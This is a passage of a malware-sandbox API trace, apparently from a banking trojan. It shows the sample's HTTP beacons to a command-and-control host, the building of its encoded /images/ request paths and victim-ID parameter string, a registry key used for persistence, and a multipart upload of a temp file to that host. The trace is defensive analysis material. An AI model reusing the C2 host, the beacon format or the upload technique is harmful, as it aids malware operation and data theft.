(lpString="/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif") returned 229 [0096.257] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1cb) returned 0x9a6e270 [0096.257] GetProcAddress (hModule=0x7feff340000, lpProcName="InternetCanonicalizeUrlA") returned 0x7feff3a0b90 [0096.308] InternetCanonicalizeUrlA (in: lpszUrl="/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif", lpszBuffer=0x9a6e270, lpdwBufferLength=0x9c7f5f0, dwFlags=0x0 | out: lpszBuffer="/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif", lpdwBufferLength=0x9c7f5f0) returned 1 [0096.854] GetProcAddress (hModule=0x7feff340000, lpProcName="InternetOpenA") returned 0x7feff359098 [0096.854] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x10000000) returned 0xcc0004 [0097.456] GetProcAddress (hModule=0x7feff340000, lpProcName="InternetSetStatusCallback") returned 0x7feff372f00 [0097.456] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x94ce300) returned 0x0 [0097.457] ResetEvent (hEvent=0x5dc) returned 1 [0097.457] GetProcAddress (hModule=0x7feff340000, lpProcName="InternetConnectA") returned 0x7feff373130 [0097.457] InternetConnectA (hInternet=0xcc0004, lpszServerName="pilodirsob.com", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x9c7f630) returned 0xcc0008 [0097.458] SetEvent (hEvent=0x5dc) returned 1 [0097.458] GetProcAddress (hModule=0x7feff340000, lpProcName="HttpOpenRequestA") returned 0x7feff373910 [0097.458] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84c03180, dwContext=0x9c7f630) returned 0xcc000c [0097.942] GetProcAddress (hModule=0x7feff340000, lpProcName="InternetQueryOptionA") returned 0x7feff34e874 [0097.942] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1f, lpBuffer=0x9c7f5c0, lpdwBufferLength=0x9c7f5f0 | out: lpBuffer=0x9c7f5c0, lpdwBufferLength=0x9c7f5f0) returned 1 [0098.079] GetProcAddress (hModule=0x7feff340000, lpProcName="InternetSetOptionA") returned 0x7feff34fb34 [0098.079] InternetSetOptionA (hInternet=0xcc000c, dwOption=0x1f, lpBuffer=0x9c7f5c0, dwBufferLength=0x4) returned 1 [0098.079] InternetSetOptionA (hInternet=0xcc000c, dwOption=0x6, lpBuffer=0x9c7f618, dwBufferLength=0x4) returned 1 [0098.080] InternetSetOptionA (hInternet=0xcc000c, dwOption=0x5, lpBuffer=0x9c7f618, dwBufferLength=0x4) returned 1 [0098.080] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e270 | out: hHeap=0x9770000) returned 1 [0098.080] ResetEvent (hEvent=0x5dc) returned 1 [0098.080] ResetEvent (hEvent=0x6d8) returned 1 [0098.080] GetProcAddress (hModule=0x7feff340000, lpProcName="HttpSendRequestA") returned 0x7feff3bf600 [0098.189] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0098.302] GetLastError () returned 0x3e5 [0098.302] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0098.302] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9c7f510*=0x5dc, bWaitAll=0, dwMilliseconds=0xea60) returned 0x102 [0161.718] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9c7f5a0*=0x6d8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0204.251] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x0) returned 0x94ce300 [0204.251] GetProcAddress (hModule=0x7feff340000, lpProcName="InternetCloseHandle") returned 0x7feff355594 [0204.251] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0204.252] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x0) returned 0x94ce300 [0204.252] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0204.252] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x0) returned 0x94ce300 [0204.252] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0204.252] CloseHandle (hObject=0x5dc) returned 1 [0204.252] CloseHandle (hObject=0x6d8) returned 1 [0204.252] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f648 | out: phkResult=0x9c7f648*=0x6d8) returned 0x0 [0204.252] RegSetValueExA (in: hKey=0x6d8, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9517ba0*, cbData=0x2c | out: lpData=0x9517ba0*) returned 0x0 [0204.253] RegCloseKey (hKey=0x6d8) returned 0x0 [0204.253] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e8a0 | out: hHeap=0x9770000) returned 1 [0204.253] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e7b0 | out: hHeap=0x9770000) returned 1 [0204.253] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91030 | out: hHeap=0x9770000) returned 1 [0204.253] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0204.253] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a90820 | out: hHeap=0x9770000) returned 1 [0204.258] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc) returned 0x9b6dc30 [0204.258] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x9b6dc30, nInBufferSize=0xc, lpOutBuffer=0x9c7f770, nOutBufferSize=0xc, lpBytesRead=0x9c7f7c0, nTimeOut=0x1 | out: lpOutBuffer=0x9c7f770, lpBytesRead=0x9c7f7c0) returned 1 [0204.260] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0204.260] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x2710) returned 0x102 [0214.336] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi", phkResult=0x9c7f7a0 | out: phkResult=0x9c7f7a0*=0x5dc) returned 0x0 [0214.336] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x105) returned 0x9a96470 [0214.336] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x105) returned 0x9a96580 [0214.337] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegEnumValueA") returned 0x7fefd71d680 [0214.337] RegEnumValueA (in: hKey=0x5dc, dwIndex=0x0, lpValueName=0x9a96470, lpcchValueName=0x9c7f798, lpReserved=0x0, lpType=0x9c7f79c, lpData=0x9a96580, lpcbData=0x9c7f790 | out: lpValueName="AECAA210A7EA5C4A0F", lpcchValueName=0x9c7f798, lpType=0x9c7f79c, lpData=0x9a96580, lpcbData=0x9c7f790) returned 0x0 [0214.337] GetTickCount () returned 0x409cf [0214.337] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2855.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9518880, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0214.343] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6dc30 [0214.343] wsprintfA (in: param_1=0x9b6dc30, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{627B58BF-5943-E4D4-F3B6-9D58D74A210C}") returned 38 [0214.343] lstrlenA (lpString="Local\\") returned 6 [0214.343] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6dc60 [0214.343] lstrcpyA (in: lpString1=0x9b6dc60, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0214.343] lstrcatA (in: lpString1="Local\\", lpString2="{627B58BF-5943-E4D4-F3B6-9D58D74A210C}" | out: lpString1="Local\\{627B58BF-5943-E4D4-F3B6-9D58D74A210C}") returned="Local\\{627B58BF-5943-E4D4-F3B6-9D58D74A210C}" [0214.343] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0214.343] GetFileSize (in: hFile=0x6d8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa3 [0214.343] CreateFileMappingA (hFile=0x6d8, lpFileMappingAttributes=0x9518880, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3, lpName="Local\\{627B58BF-5943-E4D4-F3B6-9D58D74A210C}") returned 0x538 [0214.343] lstrlenA (lpString="Local\\{627B58BF-5943-E4D4-F3B6-9D58D74A210C}") returned 44 [0214.343] lstrcpyA (in: lpString1=0x9c7f634, lpString2="Local\\{627B58BF-5943-E4D4-F3B6-9D58D74A210C}" | out: lpString1="Local\\{627B58BF-5943-E4D4-F3B6-9D58D74A210C}") returned="Local\\{627B58BF-5943-E4D4-F3B6-9D58D74A210C}" [0214.343] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc60 | out: hHeap=0x9770000) returned 1 [0214.343] CloseHandle (hObject=0x6d8) returned 1 [0214.344] MapViewOfFile (hFileMappingObject=0x538, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa3) returned 0x2a80000 [0214.344] lstrlenA (lpString="AECAA210A7EA5C4A0F") returned 18 [0214.344] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0214.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0214.344] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2e) returned 0x9b6dc30 [0214.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", cchWideChar=45, lpMultiByteStr=0x9b6dc30, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin\x07", lpUsedDefaultChar=0x0) returned 45 [0214.345] PathFindFileNameA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned="2855.bin" [0214.345] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x800) returned 0x9a6e010 [0214.345] wsprintfA (in: param_1=0x9a6e010, param_2="version=%u&soft=1&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&guid=%08x%08x%08x%08x" | out: param_1="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 137 [0214.349] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc70 [0214.349] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x800) returned 0x9a95900 [0214.350] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x13) returned 0x9b6dc90 [0214.350] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x8) returned 0x9b6dcb0 [0214.350] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x7) returned 0x9b6dcd0 [0214.350] lstrlenA (lpString="%s=%s&") returned 6 [0214.350] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x14) returned 0x9b6dcf0 [0214.350] sprintf (in: _Dest=0x9b6dcf0, _Format="%s=%s&" | out: _Dest="wxdylw=adduaph&") returned 15 [0214.350] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcd0 | out: hHeap=0x9770000) returned 1 [0214.350] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcb0 | out: hHeap=0x9770000) returned 1 [0214.350] lstrlenA (lpString="wxdylw=adduaph&") returned 15 [0214.350] lstrlenA (lpString="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 137 [0214.350] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x99) returned 0x9a6e820 [0214.350] strcpy (in: _Dest=0x9a6e820, _Source="wxdylw=adduaph&" | out: _Dest="wxdylw=adduaph&") returned="wxdylw=adduaph&" [0214.350] lstrcatA (in: lpString1="wxdylw=adduaph&", lpString2="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f" | out: lpString1="wxdylw=adduaph&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned="wxdylw=adduaph&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f" [0214.414] lstrlenA (lpString="wxdylw=adduaph&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 152 [0214.414] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa0) returned 0x9a6e8d0 [0214.414] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa0) returned 0x9a6e980 [0214.428] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e8d0 | out: hHeap=0x9770000) returned 1 [0214.428] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x140) returned 0x9a96110 [0214.428] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e980 | out: hHeap=0x9770000) returned 1 [0214.428] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e820 | out: hHeap=0x9770000) returned 1 [0214.428] StrTrimA (in: psz="VpSwnjfgapjrZm6gIomTOD75vUMx0nMCen9Uivpm35C17VQzgjhR1Y2RyNWwMcubmDPmuEaZgasPIJUIBnukQRVFbBOvH6/6abm7B8P2xoLmrbeNtEQ/6FwB1WdZQWiwsL+q9YG+3mLRZt1ISj0P/yy/jWUqVhijGkia+TF3Kwp4JMZvkFn9bDPuy3cTnKkY4EZrL7eqh/M/p4Om/KEfjK==\n\r", pszTrimChars="\r\n=" | out: psz="VpSwnjfgapjrZm6gIomTOD75vUMx0nMCen9Uivpm35C17VQzgjhR1Y2RyNWwMcubmDPmuEaZgasPIJUIBnukQRVFbBOvH6/6abm7B8P2xoLmrbeNtEQ/6FwB1WdZQWiwsL+q9YG+3mLRZt1ISj0P/yy/jWUqVhijGkia+TF3Kwp4JMZvkFn9bDPuy3cTnKkY4EZrL7eqh/M/p4Om/KEfjK") returned 1 [0214.428] lstrlenA (lpString="VpSwnjfgapjrZm6gIomTOD75vUMx0nMCen9Uivpm35C17VQzgjhR1Y2RyNWwMcubmDPmuEaZgasPIJUIBnukQRVFbBOvH6/6abm7B8P2xoLmrbeNtEQ/6FwB1WdZQWiwsL+q9YG+3mLRZt1ISj0P/yy/jWUqVhijGkia+TF3Kwp4JMZvkFn9bDPuy3cTnKkY4EZrL7eqh/M/p4Om/KEfjK") returned 214 [0214.428] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x283) returned 0x9770a90 [0214.428] _snprintf (in: _Dest=0x9770aee, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b05, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b16, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b1d, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b2c, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b31, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b40, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b67, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b6b, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0214.428] _snprintf (in: _Dest=0x9770b72, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0214.428] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96110 | out: hHeap=0x9770000) returned 1 [0214.428] lstrlenA (lpString="VpSwnjfgapjrZm6gIomTOD75vUMx0nMCen9Uivpm35C17VQzgjhR1Y2RyNWwMcubmDPmuEaZgasPIJUIBnukQRVFbBOvH6_2F6abm7B8P2xoLmrbeNtEQ_2F6FwB1WdZQWiwsL_2Bq9YG_2B3mLRZt1ISj0P_2Fyy_2FjWUqVhijGkia_2BTF3Kwp4JMZvkFn9bDPuy3cTnKkY4EZrL7eqh_2FM_2Fp4Om_2FKEfjK") returned 234 [0214.428] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a96690 [0214.429] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0214.429] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcf0 | out: hHeap=0x9770000) returned 1 [0214.429] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc90 | out: hHeap=0x9770000) returned 1 [0214.429] StrTrimA (in: psz="VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK", pszTrimChars="\r\n" | out: psz="VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK") returned 0 [0214.429] lstrlenA (lpString="/images/") returned 8 [0214.429] lstrlenA (lpString="VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK") returned 249 [0214.429] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a967a0 [0214.429] lstrcpyA (in: lpString1=0x9a967a0, lpString2="/images/" | out: lpString1="/images/") returned="/images/" [0214.429] lstrcatA (in: lpString1="/images/", lpString2="VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK" | out: lpString1="/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK") returned="/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK" [0214.429] lstrcpyA (in: lpString1=0x9a96690, lpString2=".bmp" | out: lpString1=".bmp") returned=".bmp" [0214.429] lstrcpyA (in: lpString1=0x9a95900, lpString2="pilodirsob.com" | out: lpString1="pilodirsob.com") returned="pilodirsob.com" [0214.429] lstrcatA (in: lpString1="pilodirsob.com", lpString2="/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK" | out: lpString1="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK") returned="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK" [0214.429] lstrcatA (in: lpString1="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK", lpString2=".bmp" | out: lpString1="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp") returned="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp" [0214.429] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x13) returned 0x9b6dc90 [0214.429] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb0) returned 0x9b6dcb0 [0214.429] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb0) returned 0x9a6e820 [0214.429] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcb0 | out: hHeap=0x9770000) returned 1 [0214.430] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc90 | out: hHeap=0x9770000) returned 1 [0214.430] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x50) returned 0x9b6dc90 [0214.430] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6d8 [0214.430] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x52c [0214.430] wsprintfA (in: param_1=0x9c7f460, param_2="Content-Disposition: form-data; name=\"upload_file\"; filename=\"%s\"" | out: param_1="Content-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"") returned 71 [0214.430] lstrlenA (lpString="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp") returned 275 [0214.430] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x115) returned 0x9a94b30 [0214.430] lstrcpyA (in: lpString1=0x9a94b30, 